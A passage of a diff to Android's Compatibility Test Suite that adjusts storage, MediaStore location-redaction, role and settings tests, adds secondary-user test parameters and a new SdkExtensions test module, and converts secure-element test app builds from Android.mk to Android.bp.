"android.telephony.action.SUBSCRIPTION_SPECIFIC_CARRIER_IDENTITY_CHANGED",
"com.android.internal.intent.action.ACTION_SHOW_NOTICE_ECM_BLOCK_OTHERS",
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
index e6b4256..970bf6a 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
@@ -430,6 +430,7 @@
@AppModeFull
public void testStorageTargetingSdk28DoesNotLooseAccessWhenOptingIn() throws Exception {
installApp(APK_USES_STORAGE_DEFAULT_28, null);
+ assertHasFullStorageAccess();
installApp(APK_USES_STORAGE_OPT_IN_28, null);
assertHasFullStorageAccess();
@@ -439,6 +440,7 @@
@AppModeFull
public void testStorageTargetingSdk28DoesNotLooseAccessViaUpdate() throws Exception {
installApp(APK_USES_STORAGE_DEFAULT_28, null);
+ assertHasFullStorageAccess();
installApp(APK_USES_STORAGE_DEFAULT_29, null);
assertHasFullStorageAccess();
@@ -448,6 +450,7 @@
@AppModeFull
public void testStorageTargetingSdk29DoesNotLooseAccessViaUpdate() throws Exception {
installApp(APK_USES_STORAGE_OPT_OUT_29, null);
+ assertHasFullStorageAccess();
installApp(APK_USES_STORAGE_DEFAULT_29, null);
assertHasFullStorageAccess();
@@ -457,6 +460,7 @@
@AppModeFull
public void testStorageTargetingSdk29DoesNotLooseAccessWhenOptingIn() throws Exception {
installApp(APK_USES_STORAGE_OPT_OUT_29, null);
+ assertHasFullStorageAccess();
installApp(APK_USES_STORAGE_OPT_IN_28, null);
assertHasFullStorageAccess();
diff --git a/tests/tests/print/AndroidTest.xml b/tests/tests/print/AndroidTest.xml
index d63a1ac..f602783 100644
--- a/tests/tests/print/AndroidTest.xml
+++ b/tests/tests/print/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="print" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="cmd print set-bind-instant-service-allowed true" />
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
index a343c76..799e3ac 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
@@ -25,15 +25,18 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.app.AppOpsManager;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.media.ExifInterface;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
+import android.os.Process;
import android.os.storage.StorageManager;
import android.platform.test.annotations.Presubmit;
import android.provider.MediaStore;
@@ -219,18 +222,13 @@
@Test
public void testStoreImagesMediaExternal() throws Exception {
- final String externalPath = new File(ProviderTestUtils.stageDir(mVolumeName),
- "testimage.jpg").getAbsolutePath();
- final String externalPath2 = new File(ProviderTestUtils.stageDir(mVolumeName),
- "testimage1.jpg").getAbsolutePath();
+ final File dir = ProviderTestUtils.stageDir(mVolumeName);
+ final File file = ProviderTestUtils.stageFile(R.raw.scenery,
+ new File(dir, "cts" + System.nanoTime() + ".jpg"));
- // clean up any potential left over entries from a previous aborted run
- cleanExternalMediaFile(externalPath);
- cleanExternalMediaFile(externalPath2);
+ final String externalPath = file.getAbsolutePath();
+ final long numBytes = file.length();
- int numBytes = 1337;
- File file = new File(externalPath);
- FileUtils.createFile(file, numBytes);
ProviderTestUtils.waitUntilExists(file);
ContentValues values = new ContentValues();
@@ -242,7 +240,7 @@
values.put(Media.IS_PRIVATE, 1);
values.put(Media.MINI_THUMB_MAGIC, 0);
values.put(Media.DATA, externalPath);
- values.put(Media.DISPLAY_NAME, "testimage");
+ values.put(Media.DISPLAY_NAME, file.getName());
values.put(Media.MIME_TYPE, "image/jpeg");
values.put(Media.SIZE, numBytes);
values.put(Media.TITLE, "testimage");
@@ -270,7 +268,7 @@
assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
assertEquals(externalPath, c.getString(c.getColumnIndex(Media.DATA)));
- assertEquals("testimage.jpg", c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
+ assertEquals(file.getName(), c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
assertEquals("image/jpeg", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
assertEquals("testimage", c.getString(c.getColumnIndex(Media.TITLE)));
assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
@@ -343,6 +341,26 @@
try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
}
+ // Remove ACCESS_MEDIA_LOCATION permission
+ try {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().
+ adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
+
+ // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+ // Deny access_media_permission App op to revoke this permission.
+ if (mContext.getPackageManager().checkPermission(
+ android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
+ == PackageManager.PERMISSION_GRANTED) {
+
+ mContext.getSystemService(AppOpsManager.class).setUidMode(
+ "android:access_media_location", Process.myUid(),
+ AppOpsManager.MODE_IGNORED);
+ }
+ } finally {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().
+ dropShellPermissionIdentity();
+ }
+
// Now remove ownership, which means that Exif/XMP location data should be redacted
ProviderTestUtils.executeShellCommand("content update"
+ " --user " + InstrumentationRegistry.getTargetContext().getUserId()
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
index 6a7a1f9..92ce7e0 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
@@ -27,14 +27,17 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.app.AppOpsManager;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.database.Cursor;
import android.media.MediaExtractor;
import android.media.MediaMetadataRetriever;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
+import android.os.Process;
import android.os.storage.StorageManager;
import android.platform.test.annotations.Presubmit;
import android.provider.MediaStore;
@@ -249,6 +252,26 @@
try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
}
+ // Remove ACCESS_MEDIA_LOCATION permission
+ try {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().
+ adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
+
+ // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+ // Deny access_media_permission App op to revoke this permission.
+ if (mContext.getPackageManager().checkPermission(
+ android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
+ == PackageManager.PERMISSION_GRANTED) {
+
+ mContext.getSystemService(AppOpsManager.class).setUidMode(
+ "android:access_media_location", Process.myUid(),
+ AppOpsManager.MODE_IGNORED);
+ }
+ } finally {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().
+ dropShellPermissionIdentity();
+ }
+
// Now remove ownership, which means that location should be redacted
ProviderTestUtils.executeShellCommand("content update"
+ " --user " + InstrumentationRegistry.getTargetContext().getUserId()
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 8142efe..e80e393 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -124,43 +124,6 @@
}
@Test
- public void internetPanel_correctTitle() {
- launchInternetPanel();
-
- final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
-
- assertThat(titleView.getText()).isEqualTo("Internet Connectivity");
- }
-
- @Test
- public void volumePanel_correctTitle() {
- launchVolumePanel();
-
- final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
-
- assertThat(titleView.getText()).isEqualTo("Volume");
- }
-
- @Test
- public void nfcPanel_correctTitle() {
- launchNfcPanel();
-
- final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
-
- assertThat(titleView.getText()).isEqualTo("NFC");
- }
-
- @Test
- public void wifiPanel_correctTitle() {
- launchWifiPanel();
-
- final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
-
- // title must be "Wi\u2011Fi" or "WLAN"
- assertThat(titleView.getText()).isIn(Arrays.asList("Wi\u2011Fi", "WLAN"));
- }
-
- @Test
public void internetPanel_doneClosesPanel() {
// Launch panel
launchInternetPanel();
diff --git a/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java b/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java
index 873a90f..6fd0c19 100644
--- a/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java
+++ b/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java
@@ -19,6 +19,7 @@
import static android.content.pm.PackageManager.PERMISSION_GRANTED;
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeFalse;
import android.app.slice.Slice;
import android.app.slice.SliceManager;
@@ -67,6 +68,7 @@
@Before
public void setUp() throws Exception {
+ assumeFalse("Skipping test: Auto does not support provider android.settings.slices", isCar());
mWifiSlice = mSliceManager.bindSlice(WIFI_SLICE_URI, Collections.emptySet());
}
@@ -133,6 +135,11 @@
}
}
+ private boolean isCar() {
+ PackageManager pm = mContext.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
+
private boolean isWifiEnabled() {
final WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
return wifiManager.getWifiState() == WifiManager.WIFI_STATE_ENABLED
diff --git a/tests/tests/renderscript/AndroidTest.xml b/tests/tests/renderscript/AndroidTest.xml
index 22a20cf..87ef08e 100644
--- a/tests/tests/renderscript/AndroidTest.xml
+++ b/tests/tests/renderscript/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="renderscript" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsRenderscriptTestCases.apk" />
diff --git a/tests/tests/renderscriptlegacy/AndroidTest.xml b/tests/tests/renderscriptlegacy/AndroidTest.xml
index affc8f7..33dff52 100644
--- a/tests/tests/renderscriptlegacy/AndroidTest.xml
+++ b/tests/tests/renderscriptlegacy/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="renderscript" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsRenderscriptLegacyTestCases.apk" />
diff --git a/tests/tests/resolverservice/AndroidTest.xml b/tests/tests/resolverservice/AndroidTest.xml
index ee0cc8c..fbd041d 100644
--- a/tests/tests/resolverservice/AndroidTest.xml
+++ b/tests/tests/resolverservice/AndroidTest.xml
@@ -22,6 +22,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
index ac8d967..72b89ef 100644
--- a/tests/tests/role/Android.bp
+++ b/tests/tests/role/Android.bp
@@ -17,7 +17,7 @@
sdk_version: "test_current",
srcs: [
- "src/**/*.java"
+ "src/**/*.java",
],
static_libs: [
@@ -31,5 +31,6 @@
"cts",
"vts",
"general-tests",
- ]
+ "mts",
+ ],
}
diff --git a/tests/tests/role/AndroidTest.xml b/tests/tests/role/AndroidTest.xml
index cf4b1d3..71a4861 100644
--- a/tests/tests/role/AndroidTest.xml
+++ b/tests/tests/role/AndroidTest.xml
@@ -22,6 +22,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 0da6988..3d96ab3 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -22,6 +22,7 @@
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
import android.app.Activity;
import android.app.AppOpsManager;
@@ -385,6 +386,7 @@
@Test
public void targetCurrentSdkAndChangeDefaultDialerThenIsCanceled() throws Exception {
+ assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_DIALER));
WaitForResultActivity activity = mActivityRule.getActivity();
activity.startActivityToWaitForResult(new Intent()
.setComponent(new ComponentName(APP_PACKAGE_NAME,
@@ -396,6 +398,7 @@
@Test
public void targetCurrentSdkAndChangeDefaultSmsThenIsCanceled() throws Exception {
+ assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
WaitForResultActivity activity = mActivityRule.getActivity();
activity.startActivityToWaitForResult(new Intent()
.setComponent(new ComponentName(APP_PACKAGE_NAME,
@@ -408,6 +411,7 @@
@FlakyTest
@Test
public void targetSdk28AndChangeDefaultDialerAndAllowThenIsDefaultDialer() throws Exception {
+ assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_DIALER));
sContext.startActivity(new Intent()
.setComponent(new ComponentName(APP_28_PACKAGE_NAME,
APP_28_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME))
@@ -422,6 +426,7 @@
@FlakyTest
@Test
public void targetSdk28AndChangeDefaultSmsAndAllowThenIsDefaultSms() throws Exception {
+ assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
sContext.startActivity(new Intent()
.setComponent(new ComponentName(APP_28_PACKAGE_NAME,
APP_28_CHANGE_DEFAULT_SMS_ACTIVITY_NAME))
diff --git a/tests/tests/sdkext/Android.bp b/tests/tests/sdkext/Android.bp
new file mode 100644
index 0000000..9ad6c7f
--- /dev/null
+++ b/tests/tests/sdkext/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsSdkExtTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "androidx.test.rules",
+ "ctstestrunner-axt",
+ ],
+ srcs: [ "src/**/*.java" ],
+ test_config: "CtsSdkExtTestCases.xml",
+ test_suites: [
+ "cts",
+ "mts",
+ "general-tests",
+ ],
+ sdk_version: "system_current",
+}
diff --git a/tests/systemAppTest/test/AndroidManifest.xml b/tests/tests/sdkext/AndroidManifest.xml
similarity index 61%
rename from tests/systemAppTest/test/AndroidManifest.xml
rename to tests/tests/sdkext/AndroidManifest.xml
index dbcaf9e..a6391b5 100644
--- a/tests/systemAppTest/test/AndroidManifest.xml
+++ b/tests/tests/sdkext/AndroidManifest.xml
@@ -1,5 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2013 The Android Open Source Project
+<!--
+ Copyright (C) 2019 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -13,8 +14,15 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
+
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.systemapptest"
- android:versionCode="1"
- android:versionName="1.0" >
+ package="android.os.ext.cts">
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.os.ext.cts"
+ android:label="CTS tests of android.os.ext">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+
</manifest>
diff --git a/tests/tests/sdkext/CtsSdkExtTestCases.xml b/tests/tests/sdkext/CtsSdkExtTestCases.xml
new file mode 100644
index 0000000..b22653c
--- /dev/null
+++ b/tests/tests/sdkext/CtsSdkExtTestCases.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Configuration for SdkExt Tests">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsSdkExtTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.os.ext.cts" />
+ </test>
+</configuration>
diff --git a/tests/tests/sdkext/TEST_MAPPING b/tests/tests/sdkext/TEST_MAPPING
new file mode 100644
index 0000000..91947f3
--- /dev/null
+++ b/tests/tests/sdkext/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsSdkExtTestCases"
+ }
+ ]
+}
diff --git a/tests/tests/sdkext/src/android/os/ext/cts/SdkExtensionsTest.java b/tests/tests/sdkext/src/android/os/ext/cts/SdkExtensionsTest.java
new file mode 100644
index 0000000..884f5ef
--- /dev/null
+++ b/tests/tests/sdkext/src/android/os/ext/cts/SdkExtensionsTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.ext.cts;
+
+import android.os.Build;
+import android.os.ext.SdkExtensions;
+import junit.framework.TestCase;
+
+public class SdkExtensionsTest extends TestCase {
+
+ /** Verify that getExtensionVersion only accepts valid extension SDKs */
+ public void testBadArgument() throws Exception {
+ // R is the first SDK version with extensions.
+ for (int sdk = -1_000_000; sdk < Build.VERSION_CODES.R; sdk++) {
+ try {
+ SdkExtensions.getExtensionVersion(sdk);
+ fail("expected IllegalArgumentException");
+ } catch (IllegalArgumentException expected) { }
+ }
+ }
+
+ /** Verifies that getExtensionVersion only return existing versions */
+ public void testValidValues() throws Exception {
+ for (int sdk = Build.VERSION_CODES.R; sdk <= 1_000_000; sdk++) {
+ // No extension SDKs versions yet.
+ assertEquals(0, SdkExtensions.getExtensionVersion(sdk));
+ }
+ }
+}
diff --git a/tests/tests/secure_element/Android.mk b/tests/tests/secure_element/Android.mk
deleted file mode 100644
index 5c7187e..0000000
--- a/tests/tests/secure_element/Android.mk
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
-
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
index ef5284b..41da980 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
@@ -17,3 +17,26 @@
enabled: false,
},
}
+
+//#################################################################
+// Unsigned Package
+
+android_test_helper_app {
+ name: "CtsSecureElementAccessControlTestCases1",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ ],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "android.test.runner",
+ "android.test.base",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
deleted file mode 100644
index feda0fd..0000000
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-##################################################################
-# Unsigned Package
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSecureElementAccessControlTestCases1
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- compatibility-device-util-axt
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES += android.test.runner
-LOCAL_JAVA_LIBRARIES += android.test.base
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
index d82007a..3674e96 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
index 3cfeb55..d8b0df3 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
@@ -17,3 +17,26 @@
enabled: false,
},
}
+
+//#################################################################
+// Unsigned Package
+
+android_test_helper_app {
+ name: "CtsSecureElementAccessControlTestCases2",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ ],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "android.test.runner",
+ "android.test.base",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
deleted file mode 100644
index 7c85540..0000000
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-##################################################################
-# Unsigned Package
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSecureElementAccessControlTestCases2
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- compatibility-device-util-axt
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES += android.test.runner
-LOCAL_JAVA_LIBRARIES += android.test.base
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
index 6c8cb70..30d9d13 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
index 9225e5d..2ab7b5b 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
@@ -17,3 +17,26 @@
enabled: false,
},
}
+
+//#################################################################
+// Unsigned Package
+
+android_test_helper_app {
+ name: "CtsSecureElementAccessControlTestCases3",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ ],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "android.test.runner",
+ "android.test.base",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
deleted file mode 100644
index 1520360..0000000
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-##################################################################
-# Unsigned Package
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSecureElementAccessControlTestCases3
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- compatibility-device-util-axt
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES += android.test.runner
-LOCAL_JAVA_LIBRARIES += android.test.base
-# Tag this module as a cts test artifact
